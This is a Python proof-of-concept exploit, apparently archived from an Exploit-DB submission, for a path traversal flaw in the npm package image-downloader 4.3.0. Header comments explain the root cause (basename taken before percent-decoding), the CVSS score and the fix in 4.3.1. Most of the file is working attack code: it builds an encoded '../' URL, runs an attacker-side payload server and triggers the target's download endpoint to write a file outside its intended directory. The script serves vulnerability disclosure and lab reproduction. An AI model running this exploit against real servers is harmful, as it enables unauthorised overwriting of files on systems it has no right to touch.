#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/EterNullSec/CVE-2026-103648 (see README for attribution/license)
# Exploit Title: image-downloader 4.3.0 - Path Traversal (Arbitrary File Write)
# Date: 2026-10-03
# Exploit Author: Amirhossein Roustaei (@EterNullSec) - Eternull Security
# Vendor Homepage: https://gitlab.com/demsking/image-downloader
# Software Link: https://www.npmjs.com/package/image-downloader
# Version: 4.3.0
# Tested on: Linux (Node.js v18+, Python 3.8+)
# CVE: CVE-2026-103648
# References: https://eternull.net/posts/cve-2026-103648-image-downloader-path-traversal
#             https://github.com/EterNullSec/CVE-2026-103648
#             https://www.cve.org/CVERecord?id=CVE-2026-103648
#             https://gitlab.com/demsking/image-downloader/-/commit/fb4454304276e2439fb19b98836b3ba903b3aaea

# ==============================================================================
# Vulnerability Description
# ==============================================================================
#
# image-downloader 4.3.0 is vulnerable to path traversal (CWE-22).
#
# Root cause (verified against the published index.js source):
#   const basename = path.basename(pathname);             // basename FIRST
#   const decodedBasename = decodeURIComponent(basename);  // decode SECOND
#   options.dest = path.join(options.dest, decodedBasename);
#
# path.basename() runs on the still percent-encoded URL pathname, so a
# sequence like %2e%2e%2f contains no literal '/' and passes through
# unchanged. decodeURIComponent() is only applied AFTER that — turning it
# into a real '../' — and path.join() then normalizes it, resolving the
# final write path outside the configured destination directory (dest).
# Decode-then-basename is safe; basename-then-decode (the actual order
# used in 4.3.0) is not.
#
# Preconditions:
#   - The consuming application runs image-downloader server-side
#   - An attacker can influence the URL passed to download.image()
#   - The dest directory is writable
#   - Default automatic filename extraction is used (the default)
#
# Impact:
#   Arbitrary file creation or overwrite outside the configured download
#   directory. CVSS v3.1 Score: 9.1 (Critical)
#   CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
#
# Fixed in version 4.3.1.
#
# Attack model: this script plays both the attacker and victim role for
# reproducibility. In the wild, the victim is any app calling
# download.image() with a URL it does not fully control (user-submitted
# imports, webhook payloads, content feeds); the attacker only needs to
# control the path component of that URL. See the upstream repo README
# ("Attack Model" section) for the full breakdown:
# https://github.com/EterNullSec/CVE-2026-103648
#
# ==============================================================================
# Usage
# ==============================================================================
#
# Step 1 — Start the vulnerable Node.js lab server:
#   cd vulnerable-app && npm install && node server.js
#   (Server listens on http://localhost:3000, writes to /tmp/downloads/)
#
# Step 2 — Run this exploit:
#   python3 exploitdb-submission.py --target http://localhost:3000 --lhost 127.0.0.1
#
# Step 3 — Verify the traversal:
#   cat /tmp/pwned_by_eternullsec.txt
#   (File should exist OUTSIDE /tmp/downloads/)
#
# Full lab setup: https://github.com/EterNullSec/CVE-2026-103648
# ==============================================================================

import argparse
import http.server
import os
import sys
import threading
import time
import urllib.parse

try:
    import requests
except ImportError:
    sys.exit("[!] Missing dependency: pip3 install requests")

PAYLOAD_CONTENT = b"CVE-2026-103648 | Arbitrary File Write via Path Traversal | @EterNullSec\n"
PAYLOAD_FILENAME = "pwned_by_eternullsec.txt"


class _PayloadHandler(http.server.BaseHTTPRequestHandler):
    """
    Minimal HTTP server that serves the payload file.
    The vulnerable server will fetch this URL and write the response to disk.
    """
    served = threading.Event()

    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.send_header("Content-Length", str(len(PAYLOAD_CONTENT)))
        self.end_headers()
        self.wfile.write(PAYLOAD_CONTENT)
        print(f"    [+] Payload fetched by target ({self.client_address[0]})")
        _PayloadHandler.served.set()

    def log_message(self, *args):
        pass


def _craft_url(lhost, lport, depth=2):
    """
    Build a URL whose path encodes a directory traversal using %2f (encoded /).

    path.basename() sees %2f as a regular character, not a separator.
    After the HTTP client decodes the URL on write, it becomes a real /,
    escaping the destination directory.

    Example output:
      http://127.0.0.1:8888/%2e%2e%2f%2e%2e%2ftmp%2fpwned_by_eternullsec.txt
                             ^^^^^^^^^^^^^^^^ = ../../  (decoded)
    """
    traversal = "%2f".join(["%2e%2e"] * depth)
    path = f"/{traversal}%2ftmp%2f{PAYLOAD_FILENAME}"
    return f"http://{lhost}:{lport}{path}"


def run(target, lhost, lport=8888, depth=2, timeout=15):
    print(f"\n  [*] CVE-2026-103648 — image-downloader 4.3.0 Path Traversal PoC")
    print(f"  [*] Researcher : Amirhossein Roustaei (@EterNullSec) — Eternull Security")
    print(f"  [*] Target     : {target}")
    print(f"  [*] LHOST:PORT : {lhost}:{lport}")
    print(f"  [*] Depth      : {depth} traversal level(s)\n")

    # 1. Craft the malicious URL
    url = _craft_url(lhost, lport, depth)
    print(f"  [*] Payload URL    : {url}")
    decoded = urllib.parse.unquote(urllib.parse.urlparse(url).path)
    print(f"  [*] Decoded path   : {decoded}\n")

    # 2. Start the attacker-side payload server
    srv = http.server.HTTPServer((lhost, lport), _PayloadHandler)
    t = threading.Thread(target=srv.serve_forever, daemon=True)
    t.start()
    time.sleep(0.3)
    print(f"  [*] Payload server ready on {lhost}:{lport}")

    # 3. Trigger the vulnerable /download endpoint on the target
    print(f"  [*] Triggering vulnerable endpoint...")
    try:
        r = requests.get(f"{target.rstrip('/')}/download",
                         params={"url": url}, timeout=timeout)
        print(f"  [*] Target responded: HTTP {r.status_code}")
    except requests.exceptions.ConnectionError:
        sys.exit(f"  [-] Cannot connect to target: {target}")
    except requests.exceptions.Timeout:
        sys.exit(f"  [-] Request timed out after {timeout}s")

    # 4. Wait for the target to fetch our payload
    if not _PayloadHandler.served.wait(timeout=timeout):
        sys.exit("  [-] Target never fetched the payload. Is the target reachable?")
    print(f"  [+] Payload delivered successfully!\n")

    # 5. Verify file written outside intended directory
    time.sleep(0.8)
    written = f"/tmp/{PAYLOAD_FILENAME}"
    print(f"  [*] Checking for file at: {written}")
    if os.path.exists(written):
        with open(written) as f:
            contents = f.read().strip()
        print(f"  [+] FILE EXISTS  : {written}")
        print(f"  [+] Contents     : {contents}")
        print(f"\n  [+] SUCCESS — Arbitrary file write outside dest confirmed!")
        print(f"  [+] CVE-2026-103648 is EXPLOITABLE on this target.\n")
    else:
        print(f"  [-] File not found at {written}")
        print(f"  [-] Try increasing --depth or check your lab setup.\n")
        sys.exit(1)


if __name__ == "__main__":
    p = argparse.ArgumentParser(
        description="CVE-2026-103648 PoC — image-downloader 4.3.0 Path Traversal"
    )
    p.add_argument("--target", required=True,
                   help="Vulnerable server URL (e.g. http://localhost:3000)")
    p.add_argument("--lhost", required=True,
                   help="Attacker IP reachable by the target (e.g. 127.0.0.1)")
    p.add_argument("--lport", type=int, default=8888,
                   help="Attacker HTTP server port (default: 8888)")
    p.add_argument("--depth", type=int, default=2,
                   help="Traversal depth — number of ../ levels (default: 2)")
    p.add_argument("--timeout", type=int, default=15,
                   help="Request timeout in seconds (default: 15)")
    args = p.parse_args()
    run(args.target, args.lhost, args.lport, args.depth, args.timeout)
